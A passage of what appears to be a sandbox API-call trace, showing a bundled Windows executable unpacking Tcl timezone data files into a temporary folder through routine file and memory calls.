(lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.663] GetFileType (hFile=0x10c) returned 0x1 [0039.664] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.664] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.664] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.664] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.664] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.664] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.664] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.664] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.664] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.664] CloseHandle (hObject=0x10c) returned 1 [0039.664] GetLastError () returned 0x0 [0039.664] SetLastError (dwErrCode=0x0) [0039.664] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Thunder_Bay") returned 76 [0039.664] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Thunder_Bay" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\thunder_bay"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.664] GetLastError () returned 0x2 [0039.664] SetLastError (dwErrCode=0x2) [0039.664] GetLastError () returned 0x2 [0039.664] SetLastError (dwErrCode=0x2) [0039.664] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Thunder_Bay", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Thunder_Bay", lpFilePart=0x0) returned 0x4b [0039.664] GetLastError () returned 0x2 [0039.664] SetLastError (dwErrCode=0x2) [0039.664] GetLastError () returned 0x2 [0039.664] SetLastError (dwErrCode=0x2) [0039.664] GetLastError () returned 0x2 [0039.664] SetLastError (dwErrCode=0x2) [0039.664] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Thunder_Bay") returned 76 [0039.665] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.665] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Thunder_Bay" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\thunder_bay"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.665] GetFileType (hFile=0x10c) returned 0x1 [0039.665] htonl (hostlong=0x7a1f0000) returned 0x1f7a [0039.665] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0039.666] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.666] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xf7a, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xf7a, lpOverlapped=0x0) returned 1 [0039.666] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.666] CloseHandle (hObject=0x10c) returned 1 [0039.667] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.667] htonl (hostlong=0x40000000) returned 0x40 [0039.667] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.667] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.667] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.667] GetFileType (hFile=0x10c) returned 0x1 [0039.667] htonl (hostlong=0x3f605a00) returned 0x5a603f [0039.667] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5f103f, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.667] htonl (hostlong=0x77060000) returned 0x677 [0039.667] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x677) returned 0x55e278 [0039.667] htonl (hostlong=0x77060000) returned 0x677 [0039.667] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.667] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.667] htonl (hostlong=0x16210000) returned 0x2116 [0039.667] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x2116) returned 0x561090 [0039.667] htonl (hostlong=0x77060000) returned 0x677 [0039.668] htonl (hostlong=0x16210000) returned 0x2116 [0039.668] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x5631b0 [0039.668] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5631b0 | out: hHeap=0x530000) returned 1 [0039.668] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0039.668] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.668] CloseHandle (hObject=0x10c) returned 1 [0039.668] GetLastError () returned 0x0 [0039.668] SetLastError (dwErrCode=0x0) [0039.668] GetLastError () returned 0x0 [0039.668] SetLastError (dwErrCode=0x0) [0039.668] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.668] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.668] GetFileType (hFile=0x10c) returned 0x1 [0039.668] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.668] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.668] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.668] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.668] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.668] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.668] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.668] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.668] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.668] CloseHandle (hObject=0x10c) returned 1 [0039.669] GetLastError () returned 0x0 [0039.669] SetLastError (dwErrCode=0x0) [0039.669] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.669] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.669] GetFileType (hFile=0x10c) returned 0x1 [0039.669] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.669] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.669] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.669] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.669] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.669] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.669] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.669] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.669] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.669] CloseHandle (hObject=0x10c) returned 1 [0039.669] GetLastError () returned 0x0 [0039.669] SetLastError (dwErrCode=0x0) [0039.669] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0039.669] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.669] GetFileType (hFile=0x10c) returned 0x1 [0039.669] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.669] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.670] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.670] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.670] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.670] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.670] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.670] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.670] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.670] CloseHandle (hObject=0x10c) returned 1 [0039.670] GetLastError () returned 0x0 [0039.670] SetLastError (dwErrCode=0x0) [0039.670] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Tijuana") returned 72 [0039.670] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Tijuana" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\tijuana"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.670] GetLastError () returned 0x2 [0039.670] SetLastError (dwErrCode=0x2) [0039.670] GetLastError () returned 0x2 [0039.670] SetLastError (dwErrCode=0x2) [0039.670] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Tijuana", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Tijuana", lpFilePart=0x0) returned 0x47 [0039.670] GetLastError () returned 0x2 [0039.670] SetLastError (dwErrCode=0x2) [0039.670] GetLastError () returned 0x2 [0039.670] SetLastError (dwErrCode=0x2) [0039.670] GetLastError () returned 0x2 [0039.670] SetLastError (dwErrCode=0x2) [0039.670] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Tijuana") returned 72 [0039.670] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.670] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Tijuana" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\tijuana"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.671] GetFileType (hFile=0x10c) returned 0x1 [0039.671] htonl (hostlong=0x16210000) returned 0x2116 [0039.671] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x2000, lpOverlapped=0x0) returned 1 [0039.672] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.672] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x116, lpOverlapped=0x0) returned 1 [0039.673] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.673] CloseHandle (hObject=0x10c) returned 1 [0039.673] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.674] htonl (hostlong=0x30000000) returned 0x30 [0039.674] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.674] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.674] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.674] GetFileType (hFile=0x10c) returned 0x1 [0039.674] htonl (hostlong=0xb6665a00) returned 0x5a66b6 [0039.674] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5f16b6, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.674] htonl (hostlong=0xec070000) returned 0x7ec [0039.674] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x7ec) returned 0x55e278 [0039.674] htonl (hostlong=0xec070000) returned 0x7ec [0039.675] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.675] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.675] htonl (hostlong=0x832a0000) returned 0x2a83 [0039.675] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x2a83) returned 0x561090 [0039.675] htonl (hostlong=0xec070000) returned 0x7ec [0039.675] htonl (hostlong=0x832a0000) returned 0x2a83 [0039.675] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x563b20 [0039.676] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x563b20 | out: hHeap=0x530000) returned 1 [0039.676] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0039.676] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.676] CloseHandle (hObject=0x10c) returned 1 [0039.676] GetLastError () returned 0x0 [0039.676] SetLastError (dwErrCode=0x0) [0039.676] GetLastError () returned 0x0 [0039.676] SetLastError (dwErrCode=0x0) [0039.676] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.676] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.676] GetFileType (hFile=0x10c) returned 0x1 [0039.676] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.676] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.676] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.676] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.676] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.676] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.676] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.676] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.676] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.677] CloseHandle (hObject=0x10c) returned 1 [0039.677] GetLastError () returned 0x0 [0039.677] SetLastError (dwErrCode=0x0) [0039.677] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.677] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.677] GetFileType (hFile=0x10c) returned 0x1 [0039.677] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.677] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.677] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.677] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.677] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.677] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.677] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.677] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.677] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.677] CloseHandle (hObject=0x10c) returned 1 [0039.677] GetLastError () returned 0x0 [0039.677] SetLastError (dwErrCode=0x0) [0039.677] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0039.677] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.677] GetFileType (hFile=0x10c) returned 0x1 [0039.677] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.678] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.678] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.678] 